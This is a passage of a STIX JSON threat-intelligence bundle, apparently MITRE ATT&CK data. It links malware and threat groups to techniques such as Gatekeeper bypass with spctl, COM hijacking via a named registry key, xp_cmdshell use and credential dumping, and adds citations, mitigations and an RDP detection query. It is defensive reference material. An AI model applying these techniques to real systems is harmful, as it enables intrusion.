            "description": "[ServHelper](https://attack.mitre.org/software/S0382) has commands for adding a remote desktop user and sending RDP traffic to the attacker through a reverse SSH tunnel.(Citation: Proofpoint TA505 Jan 2019)",
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                {
                    "source_name": "ESET Dukes October 2019",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.",
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            "description": "[LiteDuke](https://attack.mitre.org/software/S0513) can create persistence by adding a shortcut in the <code>CurrentVersion\\Run</code> Registry key.(Citation: ESET Dukes October 2019)",
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                    "source_name": "Cyber Forensicator Silence Jan 2019",
                    "description": "Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved November 17, 2024.",
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                    "source_name": "SentinelLabs Metador Sept 2022",
                    "description": "Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.",
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            "description": "[metaMain](https://attack.mitre.org/software/S1059) has used XOR-based encryption for collected files before exfiltration.(Citation: SentinelLabs Metador Sept 2022)",
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                    "source_name": "Palo Alto MoonWind March 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.",
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            "description": "[MoonWind](https://attack.mitre.org/software/S0149) encrypts C2 traffic using RC4 with a static key.(Citation: Palo Alto MoonWind March 2017)",
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                    "source_name": "GitHub Neo-reGeorg 2019",
                    "description": "L-Codes. (2019). Neo-reGeorg. Retrieved December 4, 2024.",
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            "modified": "2025-04-16T22:18:54.554Z",
            "description": "[Neo-reGeorg](https://attack.mitre.org/software/S1189) is a Python-based web shell.(Citation: GitHub Neo-reGeorg 2019)",
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            "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
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                    "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.",
                    "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools"
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            "description": "[HTRAN](https://attack.mitre.org/software/S0040) can inject into into running processes.(Citation: NCSC Joint Report Public Tools)",
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                    "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.",
                    "url": "https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html"
                },
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                    "source_name": "Shlayer jamf gatekeeper bypass 2021",
                    "description": "Jaron Bradley. (2021, April 26). Shlayer malware abusing Gatekeeper bypass on macOS. Retrieved September 22, 2021.",
                    "url": "https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/"
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                {
                    "source_name": "objectivesee osx.shlayer apple approved 2020",
                    "description": "Patrick Wardle. (2020, August 30). Apple Approved Malware malicious code ...now notarized!? #2020. Retrieved September 13, 2021.",
                    "url": "https://objective-see.com/blog/blog_0x4E.html"
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            "description": "If running with elevated privileges, [OSX/Shlayer](https://attack.mitre.org/software/S0402) has used the <code>spctl</code> command to disable Gatekeeper protection for a downloaded file. [OSX/Shlayer](https://attack.mitre.org/software/S0402) can also leverage system links pointing to bash scripts in the downloaded DMG file to bypass Gatekeeper, a flaw patched in macOS 11.3 and later versions. [OSX/Shlayer](https://attack.mitre.org/software/S0402) has been Notarized by Apple, resulting in successful passing of additional Gatekeeper checks.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Shlayer jamf gatekeeper bypass 2021)(Citation: objectivesee osx.shlayer apple approved 2020)",
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                {
                    "source_name": "WithSecure Kapeka 2024",
                    "description": "Mohammad Kazem Hassan Nejad, WithSecure. (2024, April 17). KAPEKA A novel backdoor spotted in Eastern Europe. Retrieved January 6, 2025.",
                    "url": "https://labs.withsecure.com/content/dam/labs/docs/WithSecure-Research-Kapeka.pdf"
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            "modified": "2025-04-16T22:18:55.154Z",
            "description": "[Kapeka](https://attack.mitre.org/software/S1190) writes persistent configuration information to the victim host registry.(Citation: WithSecure Kapeka 2024)",
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                    "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf"
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            "description": "Monitor newly executed processs for sdbinst.exe for potential indications of application shim abuse. \nThere are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n* Shim-Process-Scanner - checks memory of every running process for any shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)",
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            "target_ref": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83",
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                {
                    "source_name": "Flashpoint FIN 7 March 2019",
                    "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.",
                    "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/"
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            "modified": "2025-04-28T15:50:31.497Z",
            "description": "[SQLRat](https://attack.mitre.org/software/S0390) relies on users clicking on an embedded image to execute the scripts.(Citation: Flashpoint FIN 7 March 2019)",
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            "id": "relationship--62d3305d-57b1-42f9-9b47-028a2d57aab9",
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            "revoked": false,
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                    "source_name": "Mandiant-Sandworm-Ukraine-2022",
                    "description": "Ken Proska, John Wolfram, Jared Wilson, Dan Black, Keith Lunden, Daniel Kapellmann Zafra, Nathan Brubaker, Tyler Mclellan, Chris Sistrunk. (2023, November 9). Sandworm Disrupts Power in Ukraine Using a Novel Attack Against Operational Technology. Retrieved March 28, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/sandworm-disrupts-power-ukraine-operational-technology"
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            "revoked": false,
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                {
                    "source_name": "BitDefender BADHATCH Mar 2021",
                    "description": "Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.",
                    "url": "https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"
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            "relationship_type": "uses",
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                    "source_name": "Checkpoint IndigoZebra July 2021",
                    "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021.",
                    "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/"
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                    "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018.",
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                    "source_name": "MRWLabs Office Persistence Add-ins",
                    "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/"
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            "description": "Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing.\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)",
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                    "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"
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                {
                    "source_name": "Talos Bisonal Mar 2020",
                    "description": "Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022.",
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                {
                    "source_name": "Booz Allen Hamilton",
                    "description": "Booz Allen Hamilton. (2016). When The Lights Went Out. Retrieved December 18, 2024.",
                    "url": "https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf"
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            "description": "During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), [Sandworm Team](https://attack.mitre.org/groups/G0034) installed a modified Dropbear SSH client as the backdoor to target systems. (Citation: Booz Allen Hamilton)",
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                    "source_name": "Symantec Linfo May 2012",
                    "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"
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            "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can delete files.(Citation: Symantec Linfo May 2012)",
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                    "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.",
                    "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html"
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            "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to add created accounts to local admin groups to maintain elevated access.(Citation: aptsim)",
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                    "url": "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"
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                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.",
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            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has enumerated files on a compromised host.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: Dragos Crashoverride 2018)",
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                    "description": "Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)"
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                {
                    "source_name": "Microsoft Audit Registry July 2012",
                    "description": "Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)"
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                {
                    "source_name": "SpectorOps Subverting Trust Sept 2017",
                    "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
                    "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"
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                {
                    "source_name": "SpectorOps Subverting Trust Sept 2017",
                    "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
                    "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"
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            "modified": "2025-04-28T15:50:55.465Z",
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                    "source_name": "DOJ GRU Indictment Jul 2018",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved November 17, 2024.",
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            "description": "[APT28](https://attack.mitre.org/groups/G0007) used a publicly available tool to gather and compress multiple documents on the DCCC and DNC networks.(Citation: DOJ GRU Indictment Jul 2018)",
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                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
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                    "description": "Park, S. (2021, June 15). Andariel evolves to target South Korea with ransomware. Retrieved September 29, 2021.",
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            "description": "[Tarrask](https://attack.mitre.org/software/S1011) leverages token theft to obtain `lsass.exe` security permissions.(Citation: Tarrask scheduled task) ",
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            "description": "Monitor executed commands and arguments that can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information.",
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                {
                    "source_name": "Symantec Orangeworm April 2018",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
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            "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects registered owner details by using the commands <code>systeminfo</code> and <code>net config workstation</code>.(Citation: Symantec Orangeworm April 2018)",
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            "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab",
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                    "description": "NCSC, CISA, FBI, NSA. (2022, February 23). New Sandworm malware Cyclops Blink replaces VPNFilter. Retrieved March 3, 2022.",
                    "url": "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
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                {
                    "source_name": "Trend Micro Cyclops Blink March 2022",
                    "description": "Haquebord, F. et al. (2022, March 17). Cyclops Blink Sets Sights on Asus Routers. Retrieved March 17, 2022.",
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            "description": "(Citation: NCSC CISA Cyclops Blink Advisory February 2022)(Citation: Trend Micro Cyclops Blink March 2022)",
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            "description": "(Citation: US-CERT HARDRAIN March 2018)",
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            "description": "Use multi-factor authentication. Where possible, also enable multi-factor authentication on externally facing services.",
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            "description": "[Woody RAT](https://attack.mitre.org/software/S1065) can identify administrator accounts on an infected machine.(Citation: MalwareBytes WoodyRAT Aug 2022)",
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            "description": "[Scattered Spider](https://attack.mitre.org/groups/G1015) can obtain credential information using [LaZagne](https://attack.mitre.org/software/S0349).(Citation: MSTIC Octo Tempest Operations October 2023)",
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            "x_mitre_deprecated": false,
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        {
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            "spec_version": "2.1",
            "id": "relationship--64309b21-2dc2-4369-9c70-66f47f5c4b56",
            "created": "2017-12-14T16:46:06.044Z",
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            "external_references": [
                {
                    "source_name": "NorthSec 2015 GData Uroburos Tools",
                    "description": "Rascagneres, P. (2015, May). Tools used by the Uroburos actors. Retrieved August 18, 2016.",
                    "url": "https://docplayer.net/101655589-Tools-used-by-the-uroburos-actors.html"
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            "modified": "2025-04-28T15:51:10.826Z",
            "description": "[ComRAT](https://attack.mitre.org/software/S0126) samples have been seen which hijack COM objects for persistence by replacing the path to shell32.dll in registry location <code>HKCU\\Software\\Classes\\CLSID\\{42aedc87-2188-41fd-b9a3-0c966feabec1}\\InprocServer32</code>.(Citation: NorthSec 2015 GData Uroburos Tools)",
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            "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
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                    "description": "Guerrero-Saade, J. (2022, February 23). HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine. Retrieved March 25, 2022.",
                    "url": "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack"
                },
                {
                    "source_name": "Qualys Hermetic Wiper March 2022",
                    "description": "Dani, M. (2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. Retrieved March 25, 2022.",
                    "url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware"
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            "modified": "2025-04-28T15:51:11.014Z",
            "description": "[HermeticWiper](https://attack.mitre.org/software/S0697) can enumerate common folders such as My Documents, Desktop, and AppData.(Citation: SentinelOne Hermetic Wiper February 2022)(Citation: Qualys Hermetic Wiper March 2022)",
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                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020.",
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                {
                    "source_name": "Joint Cybersecurity Advisory Volt Typhoon June 2023",
                    "description": "NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.",
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                    "source_name": "Qualys LolZarus",
                    "description": "Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022.",
                    "url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns"
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            "modified": "2025-04-28T15:51:11.742Z",
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has renamed system utilities such as <code>wscript.exe</code> and <code>mshta.exe</code>.(Citation: Qualys LolZarus)",
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                {
                    "source_name": "Cisco Talos Transparent Tribe Education Campaign July 2022",
                    "description": "N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.",
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            "description": "[Crimson](https://attack.mitre.org/software/S0115) can collect information from a compromised host.(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)",
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                    "source_name": "Bitdefender APT28 Dec 2015",
                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.",
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                },
                {
                    "source_name": "Unit 42 Playbook Dec 2017",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "url": "https://pan-unit42.github.io/playbook_viewer/"
                },
                {
                    "source_name": "Accenture SNAKEMACKEREL Nov 2018",
                    "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.",
                    "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50"
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                {
                    "source_name": "TrendMicro Pawn Storm Dec 2020",
                    "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021.",
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                    "source_name": "Cybersecurity Advisory GRU Brute Force Campaign July 2021",
                    "description": "NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021.",
                    "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF"
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                {
                    "source_name": "NCC Group APT15 Alive and Strong",
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            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has dumped credentials, including by using gsecdump.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)",
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                    "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021.",
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                    "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.",
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                    "description": "Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus\u2019 Multi-Platform Attack Capability. Retrieved August 10, 2020.",
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                    "description": "Saini, A. and Hossein, J. (2022, January 27). North Korea\u2019s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022.",
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                    "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019.",
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                    "description": "Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.",
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            "description": "[SOUNDBITE](https://attack.mitre.org/software/S0157) is capable of modifying the Registry.(Citation: FireEye APT32 May 2017)",
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                    "source_name": "Cisco LotusBlossom 2025",
                    "description": "Joey Chen, Cisco Talos. (2025, February 27). Lotus Blossom espionage group targets multiple industries with different versions of Sagerunex and hacking tools. Retrieved March 15, 2025.",
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                    "source_name": "IBM Ransomware Trends September 2020",
                    "description": "Singleton, C. and Kiefer, C. (2020, September 28). Ransomware 2020: Attack Trends Affecting Organizations Worldwide. Retrieved September 20, 2021.",
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                    "description": "Hada, H. (2021, December 28).  Flagpro The new malware used by BlackTech. Retrieved March 25, 2022.",
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                    "description": "Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman & John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved September 16, 2024.",
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            "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can list running processes.(Citation: ESET Sednit Part 2)",
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                    "description": "ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.",
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            "description": "[DRATzarus](https://attack.mitre.org/software/S0694) can deploy additional tools onto an infected machine.(Citation: ClearSky Lazarus Aug 2020)",
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                    "source_name": "Metabase Q Mispadu Trojan 2023",
                    "description": "Garcia, F., Regalado, D. (2023, March 7). Inside Mispadu massive infection campaign in LATAM. Retrieved March 15, 2024.",
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            "description": "[FruitFly](https://attack.mitre.org/software/S0277) will delete files on the system.(Citation: objsee mac malware 2017)",
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                    "source_name": "Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023",
                    "description": "FBI et al. (2023, May 9). Hunting Russian Intelligence \u201cSnake\u201d Malware. Retrieved June 8, 2023.",
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                {
                    "source_name": "Check Point Black Basta October 2022",
                    "description": "Check Point. (2022, October 20). BLACK BASTA AND THE UNNOTICED DELIVERY. Retrieved March 8, 2023.",
                    "url": "https://research.checkpoint.com/2022/black-basta-and-the-unnoticed-delivery/"
                },
                {
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                    "url": "https://web.archive.org/web/20220506143054/https://blog.cyble.com/2022/05/06/black-basta-ransomware/"
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                {
                    "source_name": "Palo Alto Networks Black Basta August 2022",
                    "description": "Elsad, A. (2022, August 25). Threat Assessment: Black Basta Ransomware. Retrieved March 8, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware"
                },
                {
                    "source_name": "NCC Group Black Basta June 2022",
                    "description": "Inman, R. and Gurney, P. (2022, June 6). Shining the Light on Black Basta. Retrieved March 8, 2023.",
                    "url": "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/"
                },
                {
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                    "description": "Sharma, S. and Hegde, N. (2022, June 7). Black basta Ransomware Goes Cross-Platform, Now Targets ESXi Systems. Retrieved March 8, 2023.",
                    "url": "https://www.uptycs.com/blog/black-basta-ransomware-goes-cross-platform-now-targets-esxi-systems"
                },
                {
                    "source_name": "Trend Micro Black Basta Spotlight September 2022",
                    "description": "Trend Micro. (2022, September 1). Ransomware Spotlight Black Basta. Retrieved March 8, 2023.",
                    "url": "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta"
                },
                {
                    "source_name": "Deep Instinct Black Basta August 2022",
                    "description": "Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.",
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                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html"
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                    "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.",
                    "url": "https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"
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                    "source_name": "Symantec Chafer February 2018",
                    "description": "Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020.",
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                    "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.",
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            "description": "[Remcos](https://attack.mitre.org/software/S0332) has full control of the Registry, including the ability to modify it.(Citation: Riskiq Remcos Jan 2018)",
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                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"
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                    "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.",
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                {
                    "source_name": "Google Election Threats October 2020",
                    "description": "Huntley, S. (2020, October 16). How We're Tackling Evolving Online Threats. Retrieved March 24, 2021.",
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                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020.",
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                    "description": "Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.",
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                    "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020.",
                    "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/"
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                    "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.",
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                    "description": "KASPERSKY GERT. (2023, December 14). Unveiling NKAbuse: a new multiplatform threat abusing the NKN protocol. Retrieved February 8, 2024.",
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                    "description": "Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.",
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                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.",
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                    "description": "Guerrero-Saade, J. (2022, February 23). HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine. Retrieved March 25, 2022.",
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            ],
            "modified": "2025-04-16T22:21:38.383Z",
            "description": "[FoggyWeb](https://attack.mitre.org/software/S0661) can retrieve token signing certificates and token decryption certificates from a compromised AD FS server.(Citation: MSTIC FoggyWeb September 2021)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf",
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            "modified": "2025-04-16T22:21:38.585Z",
            "description": "Monitor for newly executed processes (such as <code>mstsc.exe</code>) that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions that spawn additional processes as the logged-on user.\n\nAnalytic 1 - Unusual processes associated with RDP sessions\n\n<code> sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1 \n| search (parent_process=\"mstsc.exe\" OR parent_process=\"rdpclip.exe\")\n| table _time, host, user, process_name, parent_process, command_line\n| where process_name!=\"expected_processes\"</code>",
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            "id": "relationship--6b38f460-e309-4ab1-bbc9-bd0bb30f4af9",
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                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
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            "modified": "2025-04-28T15:52:29.419Z",
            "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has commands to get the time the machine was built, the time, and the time zone.(Citation: Volexity PowerDuke November 2016)",
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                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
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            "description": "[OnionDuke](https://attack.mitre.org/software/S0052) uses Twitter as a backup C2.(Citation: F-Secure The Dukes)",
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                    "description": "Raggi, Michael. (2024, May 22). IOC Extinction? China-Nexus Cyber Espionage Actors Use ORB Networks to Raise Cost on Defenders. Retrieved July 8, 2024.",
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            "modified": "2025-04-16T22:21:39.165Z",
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                    "source_name": "DarkReading FireEye FIN5 Oct 2015",
                    "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.",
                    "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?"
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                {
                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
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                {
                    "source_name": "Symantec Catchamas April 2018",
                    "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20190508165711/https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99"
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            "description": "[Catchamas](https://attack.mitre.org/software/S0261) adds a new service named NetAdapter to establish persistence.(Citation: Symantec Catchamas April 2018)",
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                {
                    "source_name": "Check Point APT34 April 2021",
                    "description": "Check Point. (2021, April 8). Iran\u2019s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021.",
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            "modified": "2025-04-28T15:52:30.561Z",
            "description": "[SideTwist](https://attack.mitre.org/software/S0610) has the ability to download additional files.(Citation: Check Point APT34 April 2021)",
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            "modified": "2025-04-28T15:52:30.754Z",
            "description": "[WindTail](https://attack.mitre.org/software/S0466) can use the <code>open</code> command to execute an application.(Citation: objective-see windtail1 dec 2018)",
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            "modified": "2025-04-16T22:21:40.834Z",
            "description": "During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) used the `xp_cmdshell` command in MS-SQL.(Citation: Dragos Crashoverride 2018)",
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                    "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021.",
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            "modified": "2025-04-28T15:52:31.598Z",
            "description": "[Dtrack](https://attack.mitre.org/software/S0567) can collect the RegisteredOwner, RegisteredOrganization, and InstallDate registry values.(Citation: CyberBit Dtrack)",
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                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
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                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
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            "description": "[TINYTYPHON](https://attack.mitre.org/software/S0131) searches through the drive containing the OS, then all drive letters C through to Z, for documents matching certain extensions.(Citation: Forcepoint Monsoon)",
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                    "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/"
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            "modified": "2025-04-28T15:52:56.204Z",
            "description": "[CARROTBALL](https://attack.mitre.org/software/S0465) has the ability to download and install a remote payload.(Citation: Unit 42 CARROTBAT January 2020)",
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            "revoked": false,
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                    "source_name": "Mandiant Suspected Turla Campaign February 2023",
                    "description": "Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.",
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            "description": "During [C0026](https://attack.mitre.org/campaigns/C0026), the threat actors re-registered a ClouDNS dynamic DNS subdomain which was previously used by [ANDROMEDA](https://attack.mitre.org/software/S1074).(Citation: Mandiant Suspected Turla Campaign February 2023)",
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                    "source_name": "FireEye APT34 Webinar Dec 2017",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
